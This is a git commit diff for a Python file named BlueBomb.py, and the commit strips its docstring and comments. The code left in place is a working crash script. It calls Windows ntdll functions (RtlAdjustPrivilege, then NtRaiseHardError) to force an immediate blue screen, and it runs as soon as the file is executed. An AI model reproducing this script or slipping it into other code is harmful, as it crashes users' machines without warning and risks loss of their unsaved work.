Update the code!
This commit is contained in:
14
BlueBomb.py
14
BlueBomb.py
@@ -1,20 +1,6 @@
|
|||||||
import ctypes
|
import ctypes
|
||||||
|
|
||||||
def blue_screen():
|
def blue_screen():
|
||||||
"""
|
|
||||||
Function to trigger a blue screen in Windows using ctypes library.
|
|
||||||
|
|
||||||
This function directly calls the Windows API to initiate a blue screen.
|
|
||||||
It should be used with caution as it forcefully restarts the system.
|
|
||||||
|
|
||||||
Raises:
|
|
||||||
- WindowsError:
|
|
||||||
Raises an error if the blue screen operation fails.
|
|
||||||
"""
|
|
||||||
|
|
||||||
# Using ctypes to call the Windows API for blue screen
|
|
||||||
ctypes.windll.ntdll.RtlAdjustPrivilege(19, 1, 0, ctypes.byref(ctypes.c_bool()))
|
ctypes.windll.ntdll.RtlAdjustPrivilege(19, 1, 0, ctypes.byref(ctypes.c_bool()))
|
||||||
ctypes.windll.ntdll.NtRaiseHardError(0xc0000022, 0, 0, 0, 6, ctypes.byref(ctypes.c_ulong()))
|
ctypes.windll.ntdll.NtRaiseHardError(0xc0000022, 0, 0, 0, 6, ctypes.byref(ctypes.c_ulong()))
|
||||||
|
|
||||||
# Triggering the blue screen
|
|
||||||
blue_screen()
|
blue_screen()
|
||||||
|
|||||||
Reference in New Issue
Block a user